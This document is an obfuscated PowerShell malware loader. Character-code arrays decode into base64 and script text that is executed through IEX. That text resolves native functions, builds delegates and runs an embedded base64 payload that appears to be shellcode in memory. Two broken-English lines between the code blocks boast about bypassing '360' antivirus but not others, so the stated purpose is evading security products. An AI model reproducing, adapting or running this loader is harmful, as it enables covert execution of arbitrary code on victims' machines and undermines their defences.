108 , 74 , 121 , 119 ,103 ,74 , 48 ,78, 115 , 89,88, 78 ,122, 76 , 67 , 66 , 81 ,100 , 87, 74, 115 , 97 ,87,77,115 , 73 , 70, 78,108 , 89 , 87 , 120 ,108 ,90 , 67 ,119, 103 , 81 , 87 ,53, 122,97,85,78 ,115,89 , 88,78,122 ,76,67 , 66,66, 100, 88 , 82 ,118 , 81, 50, 120 , 104, 99 , 51,77,110 ,76 , 67, 66,98, 85 ,51, 108 ,122 , 100 ,71 ,86 , 116, 76 , 107 , 49,49 , 98,72, 82, 112 ,89,50 ,70 ,122 ,100,69 ,82, 108, 98,71 , 86,110 , 89,88, 82, 108 ,88, 83 ,107 , 75 , 67,83 , 82, 50, 89 , 88 ,74, 102 , 100, 72, 108, 119 , 90 , 86 , 57, 105,100,87, 108 ,115, 90,71 ,86 ,121 ,76 , 107,82 ,108 ,90, 109 ,108, 117 ,90 ,85 ,78 , 118,98 ,110 ,78, 48 ,99, 110 ,86 ,106,100, 71, 57,121 , 75 ,67 , 100, 83, 86, 70 , 78 , 119 ,90,87,78,112, 89 , 87, 120 , 79 , 89 , 87, 49,108, 76,67 , 66, 73, 97,87,82, 108,81,110 ,108 , 84,97 ,87 , 99, 115, 73, 70,66, 49 ,89 ,109 ,120 , 112,89, 121 , 99,115 , 73 ,70 , 116 ,84 ,101,88,78, 48 , 90,87,48 , 117, 85 ,109, 86,109 , 98, 71 , 86 , 106,100 , 71,108, 118,98 ,105 ,53, 68,89 , 87 ,120 , 115,97, 87 , 53,110,81 , 50 ,57, 117,100,109 , 86 ,117, 100 ,71 , 108,118, 98 , 110, 78,100 ,79,106, 112, 84, 100 ,71, 70 , 117, 90, 71 ,70, 121, 90 , 67 , 119 ,103,74 , 72, 90,104 , 99,108 ,57 , 119, 89, 88 , 74,104,98, 87 , 86 , 48 ,90 , 88 , 74, 122,75, 83 , 53, 84 ,90, 88 ,82 ,74, 98, 88,66,115, 90 , 87,49, 108, 98 ,110,82,104 , 100,71 , 108 ,118,98 , 107, 90 ,115,89, 87,100 , 122,75 , 67 ,100,83 , 100,87,53 , 48 ,97, 87,49,108 ,76 , 67,66 ,78, 89, 87 , 53 ,104 ,90 ,50 , 86, 107 , 74 ,121, 107 , 75 ,67 , 83 ,82 , 50 , 89, 88 , 74,102, 100 , 72 , 108,119 ,90, 86,57 , 105 , 100 , 87 ,108 ,115 , 90, 71, 86 , 121,76 ,107 ,82,108,90 , 109,108 ,117 ,90,85 ,49, 108 , 100,71 , 104 ,118 , 90,67 ,103, 110 , 83 , 87, 53,50, 98 , 50,116 ,108, 74 ,121, 119, 103,74 , 49 , 66 ,49,89 ,109 ,120 ,112 ,89, 121,119 ,103 , 83 ,71 ,108,107 , 90, 85,74,53,85, 50 , 108, 110 ,76,67 , 66, 79 ,90 ,88 ,100,84, 98,71 , 57, 48,76 , 67 , 66,87, 97, 88 , 74 , 48, 100 ,87 ,70,115,74 , 121 ,119,103 ,74, 72 ,90 , 104,99 ,108 ,57 ,121 ,90 , 88,82 , 49 ,99 ,109 , 53 ,102 ,100,72,108 , 119,90 , 83,119,103 , 74,72 ,90 ,104 , 99 ,108 ,57,119 , 89, 88 , 74 , 104 ,98 , 87 ,86,48,90 ,88 , 74, 122 , 75 , 83 , 53,84, 90 , 88 , 82 ,74 ,98 ,88 , 66, 115 ,90,87, 49,108,98,110, 82 ,104, 100,71 ,108, 118 , 98, 107 ,90, 115, 89, 87 ,100,122 , 75 ,67, 100 , 83 , 100 , 87 , 53 , 48 ,97 , 87 ,49, 108 ,76 ,67, 66 ,78 ,89,87,53 ,104 , 90,50,86 , 107, 74 ,121 , 107,75 , 67 ,103, 108,121, 90, 88,82 ,49 ,99,109,52 ,103,74 ,72, 90 ,104,99 , 108 ,57,48 , 101 ,88, 66 , 108,88 ,50 ,74 ,49 , 97, 87 ,120 , 107 , 90 , 88 ,73, 117,81,51, 74, 108, 89 ,88 , 82, 108 , 86,72,108, 119 , 90,83, 103 , 112 ,67,110, 48,75 ,67 , 108,116, 67 ,101 , 88,82 , 108 , 87 ,49, 49, 100,74, 72, 90 ,104,99, 108, 57 ,106 ,98,50 ,82 ,108 ,73 , 68 ,48 ,103 , 87 ,49 ,78, 53 ,99,51,82 ,108 ,98 ,83 , 53,68 , 98,50 , 53, 50 , 90, 88 ,74 ,48 ,88,84 , 111 ,54,82,110, 74,118,98, 85 , 74 , 104,99 ,50 ,85, 50 ,78 ,70, 78 , 48 ,99, 109, 108,117,90 , 121 , 103, 110 , 77, 122, 104 ,49 ,99, 85 , 108,53, 84 ,87 ,112 , 82 , 78 ,110 ,74, 72 ,82,88, 90 ,71,83 , 72,70 , 73, 82 , 86 ,82,120,83 , 69, 86,50 , 99 ,85 ,104 , 70, 77, 51, 70 , 71 , 82,85 , 120, 77 , 83,108 , 74 ,119 , 81, 108, 74,77,89 ,48,86 , 49 ,84,49, 66 , 73, 77,69, 112,109 ,83 , 86, 69 , 52 ,82 ,68 ,82, 49, 100,51, 86 , 74 ,100 , 86, 82, 67 , 77,68,78 , 71 ,77 , 72 , 70, 73 , 82 ,88, 112, 120, 82 , 48, 86 , 109 ,83, 88, 90, 80,98 , 49 ,107 , 120 ,100,87,48 ,48,77, 87 , 82,119, 83 ,88,90 ,79 , 101, 110 , 70 ,72 , 99,122, 100 ,120 ,83, 72, 78 , 69 , 83 , 88,90,69, 81,85 ,103, 121,99 , 87, 57 ,71, 78 , 109 , 100,112, 79 ,86,74,77 , 89 , 48,86,49, 84,49,65, 48 ,100 , 88,100, 49, 83, 88,86 , 82,89 , 110 ,99, 120 , 89, 108 , 104,74 , 82 ,106 ,100,105,82 ,48 , 89, 48,83, 70, 90 ,122 ,82,106 , 100 ,120 ,83,72 , 78, 73,83 , 88, 90, 67 , 82 , 110 ,70 ,68 , 79 , 87, 57 , 120 , 83, 72 ,77, 118 ,83,88, 90,68 ,98, 48,111,50,90,50 , 107 , 52 ,78, 110 ,66 ,117,81, 110 ,100 , 107,78 , 71,86 ,70, 83 ,106 ,90,108 , 87 ,69 ,120,106,100 , 122 , 78, 48 , 79,71 ,86 , 104,90,51 , 104, 53, 83,49, 89 , 114 , 85,122 , 65,120, 82, 49,90 , 53,84,107,120 ,87 ,82 , 88, 66, 79 , 85 ,50, 53, 107 , 84, 71, 73, 120 ,85, 85,90, 75 ,84 , 110, 111 ,121 ,82,88 ,82 , 52 , 77 , 71,82, 73 ,85, 106,66, 107 , 82 ,88,78, 97 ,90, 70, 90,120,82 ,84,78,81 ,89, 107 , 116 , 119, 101 ,85 ,49 , 113, 83 ,84, 78 ,110 ,85 ,122 , 90,117, 83, 110 ,108 , 84, 85,48 ,74,53 ,89, 50, 116 , 49 ,90, 69, 53 ,112, 84, 87,112 , 106 , 83, 69,53 ,77 ,90 ,69 ,116, 120 , 79 ,68, 86, 107 , 101, 106, 74 ,53,82, 107, 52 , 48, 82 , 88 , 90 ,71, 101, 70, 78, 53 ,84, 87, 104,90 , 78 , 109 , 82, 52,89 , 49, 104,71 , 100 , 50,78 , 89,84,107 , 120, 53, 83 , 70, 108,79,82, 48 , 53,54,77 , 110 , 70,49,86 , 50, 99, 48, 83,69 ,49, 84, 77 , 48, 104, 83, 77,70 ,78 , 107 ,101 , 72 ,100 ,107 , 86 , 88 , 78,80 ,83 , 108 ,82, 48, 87, 84,78, 81, 89 , 87, 48, 48 ,101 , 88 , 108 ,117 ,78 ,69 , 78, 74, 97 ,107, 108,52 , 84, 71, 78, 119 ,100 , 70 , 90 ,89 , 83, 106, 90 ,121 ,89 , 88, 108, 68, 99 , 69, 120, 112 ,90,87, 74 , 67, 90 , 110 , 82 ,54 , 77,110,70 , 49, 83 ,107,120,97, 90 ,48 ,111, 53,82,88,82 ,54 , 77,107 , 86, 48,101,68 , 66,84,85 ,49 , 74 , 53 ,90, 70 ,104,79,84 , 71, 120 ,73 ,86 , 69, 82, 76, 84 , 110 , 111, 121, 98,107, 78 ,78, 84 ,85 , 108 ,53 ,84, 87,69,49,82, 109, 86 ,86, 82 , 88 ,82 ,54, 83,51, 78, 112 ,83, 87, 112 , 74, 79,72 ,74, 120,83 , 87 , 108 ,78 ,97,110 ,107 , 50 , 97, 109,77,122 , 84,110 , 100, 78,86,84 , 65 , 52 ,86, 109 ,70 , 84,85 , 70,103 , 122,97 , 122, 70, 75 , 90 ,71, 116, 75 , 85 ,48, 70, 116 , 98,51,74, 73 , 78 ,71,115, 52, 85, 68 ,104, 120, 99,85 , 48 , 118 , 86, 87, 108 , 116, 100 ,49 ,82, 77, 83,106, 66, 85, 77,108 ,82, 90 , 75, 49 , 70, 116, 99 , 70,86 , 104,86 , 71 ,85, 48 , 86 , 68 ,90 ,77 , 84, 68 , 100,81 ,82, 108, 85, 53 ,89 ,48,82,69 ,97 ,86, 108 ,71, 99,121 ,116 ,120, 90, 109 , 112, 54 ,85 ,106 ,70 , 82 ,83 , 110 , 100, 54,90 , 72 ,77 ,118 , 85 ,69,70, 76 , 98, 50, 120,110,97,88, 111,122,78, 110 , 90, 72 , 78 ,68, 69, 48, 100,88,90, 50 , 77, 122 ,77 , 122,99 ,88 , 74 , 74 , 77 , 49, 112 ,82,85 ,109 , 120,70,84, 49, 108,114 , 85,107 , 100,85 ,86,109 ,78, 97 , 81 , 84 , 73, 49,84 ,86 ,100, 86, 99 ,70, 66 ,85, 77, 69, 108 ,78 ,82 , 110,99,119 ,86 , 69 ,70 , 51 , 100 , 69 , 70 ,85 ,82 ,84,86, 85, 85,87 , 120,107,83 , 49,70,86 , 79, 85,100 , 72, 81, 85 ,53, 49 ,89 ,48 ,100, 119 , 98, 85, 70 ,52,99,48 ,53, 70,101, 71 , 100 ,69, 90,69,86 , 119, 84 ,108,73, 119,101 , 70 , 86 , 86 , 81, 85, 53,48 , 90 , 72,100,78, 86 , 107 ,82 ,83,83,85,116 , 77 ,97, 87, 116 ,113 ,84 , 110,86 , 85, 90 , 122,74 , 89 ,79 , 68,100 , 75,101,109, 86, 81 , 101, 83,56 ,48 ,86, 87 ,108 , 53 , 90 , 49 ,90 ,67, 87, 85 , 70, 75, 85 , 110,78 ,82, 99 ,88,70 ,54, 101, 107 ,81, 121 ,90 ,110 ,78 , 90,79, 72,103, 118 ,79 , 68 ,66,48 , 98 ,110 , 66, 52 ,84 ,88, 112 ,88,75, 48 ,70, 72,99, 85 ,120,104, 78 ,107 , 69, 121 , 86,49,70 ,122 ,97 , 110 , 100,76 , 83 ,88 ,104 , 88 , 101 , 71 ,116 , 54 ,100,107 , 78 ,104 , 99, 71,90 , 52 ,99,69 ,103,120 , 82 ,88 ,74, 105,84 ,109, 99,122 , 100 ,109, 78,67 ,81 , 50 , 82,78 , 86,107 , 86 , 50, 84,84,82, 90, 78 ,88 ,82, 111, 89,107,57,50, 97,121, 115,114 , 77 , 85, 108 ,113,90, 71,112 ,86,83, 69 , 104, 52 ,90,85,86,68,85, 67 , 57,81,82 ,85,108,89,85, 50 , 120 , 78,99 ,67,116, 116, 97,86 , 99 ,49,85 , 87 ,104 ,111,78 ,109,52 ,120 , 84,70, 70 ,51, 86 , 109,116 ,48 , 101,68 , 90,77 , 97 ,68,99 , 122 , 77 , 48 ,119, 120, 77 , 87 , 120 ,52, 97, 86,104 ,121,87 , 109,90,49,82, 88 , 78 , 117, 99 ,110,85,51, 97 , 109, 111 ,122 ,100,71, 70 , 116, 99 , 69, 100 ,111 ,83,108, 78 ,84, 98, 48 , 116 , 97, 90 ,69 , 86, 113, 89, 86,100 , 104, 77,49 ,103 ,122,81, 48 , 120,116,82,109, 104, 109 , 85 , 110, 100, 106, 99, 86 ,86 , 82, 83, 108 ,108 , 69 ,101,69,78,87, 87 ,110 , 74 , 121 ,100 , 86,66, 77,78, 71 , 116 , 111, 97 , 107 ,73 , 50 ,99,84 , 100 ,117,98, 109 ,103 , 120, 98 , 51 , 74 , 90,87, 69 , 115, 49, 83, 85,74 ,87,86,87 , 112, 110 , 81, 88 ,100 , 87, 77 , 108 ,89, 49,90 , 72, 70,80, 100 , 122, 78 , 97, 100, 69, 74 ,97,85, 88, 73,114, 90, 122,74 , 109,79,68, 66, 49,84,122 , 99 , 114,83 , 109,53 , 119,97,121, 116 ,122 , 77,69 , 49 ,74, 79 ,87,86, 110, 99 ,68, 78, 48 , 81 ,106 , 85,122, 90 ,107,56 ,51, 85 , 85 ,53, 107 , 100,69, 108 , 117 , 99 ,108 , 99 , 53,86 , 70 , 111,52,86,48 ,108, 110,85, 48 ,49, 73, 97 , 69 , 57, 74 ,83 , 110 , 86, 107,97 ,69 , 112 , 104 ,77 ,48, 108 ,112,84, 107 , 119 , 119 , 78 , 87, 70 , 67,90, 71 ,82 ,54, 77, 108 , 78, 88,84 ,107 ,120, 74 ,101 , 107,49,113,83 , 84, 66 , 122, 97 , 107, 107 , 121 ,84,87 , 112 ,107, 82, 88 ,81,51 ,97 ,68,78,69,82, 122 ,78,81, 89,88 , 100, 116, 97, 85 ,49 , 113 ,83, 88 ,108 ,78 , 97,83, 116 , 117, 83 , 110 ,100 ,120, 99 ,49, 73,119,85 , 51, 108 ,78, 82, 69 , 108 ,53 ,84, 110,100 , 107, 86 , 88,78 , 52, 100 , 71 , 70 , 121 ,81 , 106,78 ,81 ,89 ,87, 48 , 48 ,77,87,90 ,115, 99 , 85 ,78,82 ,97 ,84,82 ,76,89 , 109,112, 87 ,99 ,49 ,111 , 51, 78,69, 49,49 ,83 ,122,78 , 48, 101, 109 ,78 , 71 , 101 , 70 , 70,79,82,87 ,104 ,74 ,85 ,85 ,82,83 ,82 , 86 ,78, 71 ,81 ,84, 66 , 84 ,82, 86 , 74 ,122 , 97 , 107 ,49 ,83, 90 ,68,70,88 ,100 , 122, 48, 57 ,74, 121, 107 ,75,67,109,90 ,118 , 99,105, 65 , 111 ,74 , 72 ,103, 103 ,80,83 ,65, 119,79,121 ,65 , 107, 101, 67,65 , 116 , 98, 72,81 ,103, 74, 72,90 ,104 ,99,108 ,57,106, 98 ,50 ,82, 108 , 76 ,107 ,78 , 118 , 100, 87, 53, 48 ,79 , 121, 65,107 , 101,67 ,115, 114 , 75,83 ,66 ,55,67,103, 107 , 107 ,100, 109 ,70, 121 ,88 ,50,78 ,118 ,90 ,71,86,98, 74, 72 ,104 , 100,73 , 68, 48 , 103 ,74, 72 ,90, 104 , 99,108 ,57,106, 98, 50, 82, 108, 87, 121,82 ,52,88,83 ,65 ,116,89, 110,104, 118 ,99,105 , 65 ,122, 78,81 ,112, 57,67, 103, 111 ,107 ,100, 109 , 70 , 121 , 88 , 51 , 90 ,104, 73, 68,48 ,103 ,87, 49, 78 , 53, 99 ,51 ,82,108 , 98 , 83, 53 ,83 ,100 ,87,53 ,48 , 97,87 ,49, 108 ,76 ,107,108 ,117, 100 , 71, 86 ,121 , 98 ,51,66,84 , 90,88,74 ,50,97, 87 ,78 , 108,99 ,121, 53,78, 89 , 88,74, 122, 97,71 , 70 ,115,88, 84 ,111, 54 , 82 ,50 ,86, 48 , 82, 71 ,86 , 115,90 ,87 , 100, 104, 100,71 , 86 ,71 ,98 ,51 , 74, 71 , 100, 87 , 53 ,106 , 100, 71 ,108 ,118 ,98, 108,66,118, 97, 87, 53 , 48, 90 , 88,73 , 111 , 75, 71 , 90,49,98,109, 78 , 102 , 90, 50 , 86, 48 ,88 ,51,66,121,98, 50 ,78 , 102,89,87, 82 , 107, 99 ,109 ,86, 122 , 99 ,121 ,66, 114 , 90,88,74, 117,90 , 87, 119, 122 ,77,105, 53,107,98 ,71 , 119, 103 ,86,109 , 108,121, 100, 72 ,86 ,104,98,69, 70 ,115 , 98 , 71 ,57, 106 , 75, 83 ,119, 103,75 ,71,90 ,49 , 98, 109 ,78 , 102 , 90,50, 86, 48 ,88,50,82 , 108,98 , 71, 86, 110, 89 ,88,82 ,108, 88,51,82 ,53 ,99 , 71 ,85,103 ,81 ,67 ,104, 98, 83 ,87,53 , 48 ,85, 72 , 82 , 121 , 88 ,83 , 119 ,103,87 , 49, 86,74, 98 , 110 ,81 ,122 ,77,108, 48, 115 , 73 , 70 ,116, 86 ,83 ,87, 53 , 48,77 ,122 , 74,100, 76,67, 66, 98 ,86,85 , 108,117 , 100, 68 ,77, 121, 88 ,83,107, 103 ,75,70 ,116 , 74 , 98 ,110,82, 81 , 100,72,74 , 100 ,75, 83 , 107,112,67 ,105,82, 50 ,89 , 88 , 74, 102 , 89 , 110 , 86, 109 ,90 , 109, 86 ,121,73,68, 48, 103,74,72,90 , 104,99 , 108,57 ,50,89 ,83, 53 ,74, 98,110 , 90, 118 , 97 , 50, 85, 111,87, 48, 108,117 , 100, 70, 66, 48,99,108 , 48,54, 79, 108, 112 ,108 ,99 ,109,56,115 , 73 ,67,82 , 50, 89,88 , 74,102, 89 ,50, 57 , 107 ,90 , 83, 53 ,77 ,90, 87, 53 ,110 , 100, 71, 103,115, 73, 68, 66, 52 , 77,122, 65 ,119,77, 67 , 119 ,103, 77, 72 , 103,48,77 ,67 , 107 , 75, 87 , 49,78 ,53,99 ,51 ,82,108, 98 , 83 , 53, 83 , 100, 87 , 53, 48 , 97 ,87,49 ,108,76, 107, 108,117 , 100, 71 , 86 , 121, 98, 51, 66 , 84 , 90 , 88 , 74 , 50 ,97 , 87, 78 , 108, 99 , 121,53 , 78, 89 , 88 , 74, 122 , 97,71, 70 ,115, 88, 84 ,111, 54 ,81 ,50, 57,119 ,101 , 83 ,103, 107 , 100 , 109,70 , 121 ,88 , 50, 78,118 ,90 ,71,85 , 115 , 73 , 68 ,65 , 115, 73,67,82 , 50 , 89 ,88 ,74 ,102 , 89, 110 , 86,109 , 90 , 109 ,86 ,121 , 76 , 67 , 65, 107 ,100 , 109 , 70,121,88 , 50 ,78,118 , 90 , 71,85 , 117 ,98,71 ,86 ,117, 90 , 51 ,82,111,75 , 81, 111 , 75 , 74 ,72 , 90,104, 99,108 , 57 ,121, 100 ,87, 53 ,116 ,90 ,83, 65, 57,73 , 70, 116 ,84, 101,88 ,78 ,48, 90,87 , 48,117,85 ,110,86,117 ,100 ,71 ,108 , 116 , 90, 83, 53 ,74, 98 ,110 ,82, 108 , 99 , 109 , 57 , 119,85 ,50 ,86 , 121, 100 ,109 , 108 ,106 ,90,88, 77 , 117, 84, 87 , 70 ,121, 99 , 50 ,104, 104 ,98,70 ,48 ,54 , 79, 107 , 100,108, 100 ,69 , 82 , 108,98 ,71, 86 , 110, 89 ,88 , 82 ,108 , 82 ,109 ,57 ,121, 82, 110,86 ,117 ,89 , 51,82 ,112,98, 50 , 53,81 ,98,50 ,108 ,117 , 100 ,71,86,121, 75,67,82,50, 89 , 88,74, 102 ,89,110 ,86 ,109 ,90 ,109, 86 , 121, 76, 67, 65 ,111,90 ,110, 86, 117 ,89 , 49,57 , 110, 90 ,88 , 82,102, 90,71, 86, 115 ,90 ,87, 100 , 104,100 , 71,86, 102 , 100, 72, 108 ,119,90 ,83, 66,65 ,75 ,70 , 116, 74 , 98, 110,82, 81,100,72 ,74,100, 75, 83 ,65,111, 87 ,49, 90 ,118 , 97 ,87 ,82,100,75, 83, 107 , 112 ,67, 105, 82, 50, 89, 88,74 ,102 , 99 ,110, 86 ,117,98, 87 ,85, 117 ,83,87 , 53 ,50 ,98, 50 ,116, 108, 75, 70 ,116 , 74, 98, 110, 82, 81,100 , 72 , 74 ,100 , 79, 106, 112,97, 90 ,88 , 74, 118,75 , 81, 61 ,61 , 10,39,64 ,10, 10 ,36,109 ,107,115, 101 ,99, 61,91 , 83 , 121,115,116, 101, 109, 46,84,101,120,116,46, 69,110 ,99,111,100 , 105,110,103 , 93 , 58, 58, 85 , 84,70 ,56 , 46 ,71,101,116 ,83 ,116,114 , 105 , 110 ,103 , 40,91,83, 121 , 115,116,101 , 109, 46, 67 ,111,110 ,118 ,101, 114 ,116 ,93 , 58, 58 , 70, 114, 111 , 109 , 66,97,115,101 , 54 ,52 ,83 ,116 , 114,105, 110,103,40, 36 , 68,111, 73, 116,41, 41 , 10, 10,73,102 , 32, 40,91,73, 110 , 116 , 80,116,114 , 93 ,58 , 58 ,115, 105, 122 , 101, 32,45 , 101 , 113 , 32 ,56,41,32 , 123 , 10 ,9 , 115 ,116 ,97 ,114,116,45 , 106,111,98,32,123, 32 ,112 ,97,114,97 ,109 , 40, 36,97 , 41 , 32, 73, 69,88,32,36 ,97 ,32 ,125 ,32 , 45, 82 ,117 ,110, 65 ,115 , 51 , 50 ,32 ,45 ,65,114 , 103, 117 ,109, 101,110 , 116, 32 , 36 , 109,107 ,115 ,101,99,32 ,124,32, 119, 97,105,116 ,45, 106 ,111, 98 , 32 ,124 ,32 ,82, 101 ,99 , 101 ,105,118 ,101 ,45, 74 ,111,98, 10,125 , 10 , 101, 108 ,115 , 101, 32, 123, 10,9,73,69,88 , 32 , 36, 109 ,107 , 115,101 , 99, 10 , 125 , 10) |FOREach-obJect{([CHAr] [int]$_) } ) -jOIN'' )
At this time, we have killed someone 60 times, but someone can't.
After the first coding 360 bypass, the tinder still did not bypass. After the second coding, some 60 passed, but some velvet failed.
. ( $PsHOME[4]+$psHOME[34]+'X')( " $( Sv 'OFS' '')"+ [stRinG]('83@101{116@45>83>116o114@105d99@116o77j111t100d101j32t45<86<101>114>115j105j111j110V32{50d10@10t36<68{111V73@116d32@61d32@64d39;10<102{117{110{99@116d105{111t110d32<102t117>110d99t95>103{101;116V95{112;114@111@99;95t97j100>100t114;101o115o115<32<123@10<9V80<97d114>97{109d32@40d36{118<97d114o95d109V111j100j117V108{101@44<32>36V118;97>114o95<112t114>111<99t101<100;117t114>101>41t9o9o10V9V36t118<97j114j95>117j110{115t97{102;101@95@110<97d116<105<118@101o95d109o101{116t104<111j100@115<32d61{32@40<91<65>112d112j68{111;109{97V105>110@93j58@58t67{117>114d114@101>110V116V68{111>109>97o105@110t46t71{101{116{65o115t115j101V109@98d108V105@101@115>40>41<32{124d32o87>104<101d114{101{45V79o98<106d101@99>116<32<123{32@36o95@46o71j108V111>98j97V108o65j115o115o101j109>98V108j121{67j97{99;104>101;32<45<65@110V100o32>36o95V46>76<111<99@97@116V105{111>110o46t83j112@108;105;116d40<39{92d92@39j41>91<45o49V93d46{69>113j117{97>108d115>40d39;83d121@115j116;101{109d46t100>108d108{39@41j32V125@41;46{71V101@116@84>121j112d101;40>39>77{105>99@114;111;115V111j102o116V46{87{105>110V51{50>46{85;110d115t97>102j101@78V97o116<105j118j101@77;101d116t104;111;100@115o39<41@10t9;36@118;97;114t95<103o112t97j32@61o32@36j118V97<114V95{117@110d115t97>102d101t95@110>97;116d105o118j101@95>109o101>116j104>111{100j115>46o71o101@116o77o101d116V104>111<100{40j39d71{101;116{80o114>111o99;65t100{100V114<101@115V115<39j44<32;91t84t121<112<101;91>93t93o32j64o40j39>83o121@115o116t101;109<46V82j117>110d116d105;109j101d46V73d110@116;101V114t111;112t83t101V114@118<105;99@101j115t46;72{97d110o100{108t101<82{101>102t39t44>32<39<115j116o114V105d110;103@39@41{41{10>9d114j101@116>117t114o110>32d36>118t97o114o95@103t112{97o46>73o110j118>111>107j101V40<36d110V117t108{108d44>32V64<40;91d83t121<115@116<101<109o46d82d117>110o116@105o109j101d46o73j110<116{101V114o111j112@83d101t114<118o105>99j101t115o46;72o97d110{100V108;101V82d101V102t93o40@78>101>119<45>79d98d106{101<99j116V32d83{121>115j116d101@109d46{82;117d110{116<105d109V101t46t73o110d116<101>114j111j112d83{101<114o118;105{99<101j115>46@72<97;110t100>108;101@82o101j102d40o40>78t101>119>45{79d98o106@101@99;116<32t73@110;116>80{116@114d41;44d32o40@36{118>97;114;95d117t110{115@97@102t101<95{110;97<116V105t118{101t95@109{101<116{104V111;100@115<46V71t101{116{77j101;116V104;111;100d40t39o71;101<116<77@111t100d117o108>101{72t97o110t100j108j101t39t41>41>46V73o110@118>111;107o101t40d36j110d117j108@108V44>32j64j40;36d118>97o114>95V109{111{100t117{108@101o41{41@41;41@44@32@36j118<97{114d95;112t114V111V99{101<100<117{114V101d41d41{10t125j10j10>102d117{110;99o116<105{111d110@32d102;117j110@99o95d103>101@116@95o100t101V108>101>103>97d116@101d95@116j121t112<101>32>123j10j9{80{97{114V97V109t32t40j10;9>9t91;80>97{114@97V109@101>116@101d114o40@80t111V115d105V116V105V111j110@32>61<32<48@44t32<77{97;110t100o97t116@111t114o121V32j61{32{36V84t114j117o101;41{93t32j91>84o121j112<101t91j93{93;32o36{118o97<114>95d112d97;114V97>109@101;116<101<114V115j44<10<9t9o91d80d97{114d97V109V101t116j101>114<40t80d111V115d105t116<105<111t110t32j61o32@49t41t93<32t91>84>121{112@101@93o32j36d118V97t114<95t114V101;116t117{114{110>95j116V121>112t101j32<61;32t91>86V111V105t100>93<10o9@41@10d10o9;36o118{97o114o95o116j121V112t101o95j98@117t105d108{100j101{114j32d61@32{91<65V112<112>68;111d109d97{105;110j93V58o58>67@117V114d114o101{110<116{68V111;109V97<105t110<46>68;101t102V105j110<101@68o121d110t97j109;105>99d65@115d115j101@109V98t108>121d40j40V78j101{119{45<79V98d106@101d99d116V32t83{121V115o116V101{109<46;82V101{102o108>101@99j116;105;111<110t46{65d115t115>101d109@98>108o121{78V97{109t101<40<39@82{101<102<108t101{99d116j101t100j68o101o108d101t103;97>116@101<39j41j41@44V32j91o83;121<115j116@101{109o46{82@101V102V108>101;99j116;105j111t110t46{69{109d105;116>46o65<115V115>101d109@98V108@121j66t117o105d108j100V101V114o65{99d99{101>115;115@93o58<58<82V117>110V41o46@68{101j102<105j110{101>68d121<110o97V109{105;99<77V111>100d117d108o101<40o39t73t110t77>101<109j111{114j121@77<111o100{117t108j101{39d44j32<36{102{97t108{115@101V41{46d68d101j102d105t110t101V84j121j112<101t40V39t77>121;68d101<108t101j103;97t116>101;84j121d112o101;39@44d32{39V67t108t97d115;115{44V32@80<117o98{108<105d99V44@32j83<101<97@108<101>100t44{32d65;110;115<105@67;108V97{115d115;44o32<65{117d116;111<67<108d97o115>115d39V44@32d91o83o121<115V116>101;109<46o77o117V108<116<105o99V97t115V116>68o101j108{101V103<97t116@101>93<41>10o9{36o118V97;114<95o116t121d112t101{95t98<117<105d108V100V101t114>46j68V101t102;105V110{101t67j111{110t115{116<114d117{99V116@111j114<40>39t82V84{83<112;101{99d105o97{108d78@97;109@101<44V32@72d105<100t101>66<121>83d105<103>44t32<80t117d98V108d105@99j39d44j32@91j83@121o115<116<101<109>46;82t101t102@108V101o99d116<105o111d110t46<67;97d108>108o105;110d103{67>111d110t118d101@110<116d105;111@110<115o93>58V58>83o116@97>110d100>97d114d100>44V32<36>118V97j114;95;112;97>114V97V109{101<116<101d114>115<41{46{83;101d116@73{109d112;108@101t109t101<110{116t97o116d105@111o110d70@108V97<103{115{40o39@82@117@110{116d105V109@101V44o32{77;97V110V97V103{101o100@39@41d10>9t36<118>97o114<95V116{121{112o101@95d98>117d105;108<100@101{114j46>68{101j102j105V110t101>77;101o116>104{111>100;40V39j73d110d118;111o107o101<39{44o32{39>80o117<98j108@105j99j44d32o72d105d100t101o66;121V83<105<103d44V32{78@101;119t83d108t111j116@44t32t86;105t114j116V117o97;108V39@44<32;36o118@97;114V95<114<101{116;117;114<110t95t116{121d112j101@44o32t36;118<97@114@95t112t97;114>97;109t101j116t101V114j115j41d46<83>101j116{73j109j112;108o101>109<101;110t116@97V116@105j111<110V70V108{97<103<115d40V39>82<117j110o116t105<109d101j44{32;77>97{110t97j103d101<100{39V41@10{10o9{114d101o116;117>114j110@32t36o118>97;114j95V116;121{112V101d95{98<117V105t108;100;101>114{46{67j114V101o97V116t101t84j121j112d101o40<41@10<125@10@10o91>66V121d116j101<91{93@93d36{118{97{114>95V99V111@100V101t32d61>32j91V83o121>115@116o101@109{46>67j111>110@118j101j114V116o93V58d58t70t114o111@109{66o97d115;101j54V52V83<116t114j105>110<103t40{39{51;56o117<113t73<121d77{106@81<54j114<71<69o118>70@72@113t72V69d84V113@72t69d118@113>72j69{51t113o70t69{76@76<74t82V112;66t82>76d99>69@117;79;80<72;48d74{102V73o81o56t68>52@117<119t117d73;117j84V66;48@51V70@48{113@72;69o122@113<71o69@102t73j118t79t111d89t49>117{109{52<49@100;112<73<118>78@122j113d71j115V55j113o72t115j68{73j118@68;65{72{50V113>111d70d54<103V105V57o82;76{99<69d117o79<80d52@117<119{117t73>117o81;98o119o49t98<88j73;70<55@98@71>70d52d72@86j115{70t55@113V72@115@72;73@118d66>70@113{67j57<111{113t72d115d47t73j118j67{111j74<54>103t105t56V54{112>110d66;119o100;52o101j69j74;54d101>88>76;99t119@51{116t56<101t97o103d120;121o75V86>43d83{48@49{71t86;121V78j76d86o69<112t78o83>110j100>76t98>49<81V70V74d78;122>50o69<116;120;48d100o72;82@48>100t69t115j90j100>86;113@69t51d80V98o75j112>121{77o106t73>51j103d83d54@110o74V121<83V83<66<121@99t107j117V100j78>105;77{106V99t72@78>76V100t75d113;56;53d100<122o50j121t70>78j52o69<118V70@120<83d121t77;104;89d54o100@120j99{88d70@119d99d88o78t76{121<72j89{78>71d78t122{50<113{117V87<103j52o72<77{83@51d72@82V48j83j100V120t119>100d85<115<79V74>84j116;89t51<80j97d109>52t121t121{110@52{67t73>106@73<120t76d99{112V116<86<88o74;54{114{97j121j67V112<76j105d101;98<66@102>116>122V50;113<117d74@76o90V103<74<57;69{116{122;50{69j116;120<48>83d83{82@121@100V88>78d76<108{72d84V68{75V78o122t50o110>67@77@77t73@121d77{97d53{70{101d85o69V116V122V75j115o105t73V106o73d56>114j113@73@105<77t106j121t54V106{99V51;78<119o77;86j50@104o109o101@121<79<77{73<72d102d83<43o114V117o71<101;105<90{114;68;76j115@115;99{86j117o50t97t52>70j114{70@43>70V53o76j86<48>105j65>82@120o53j111V73j86o87V115t53t116@74>97V56;57{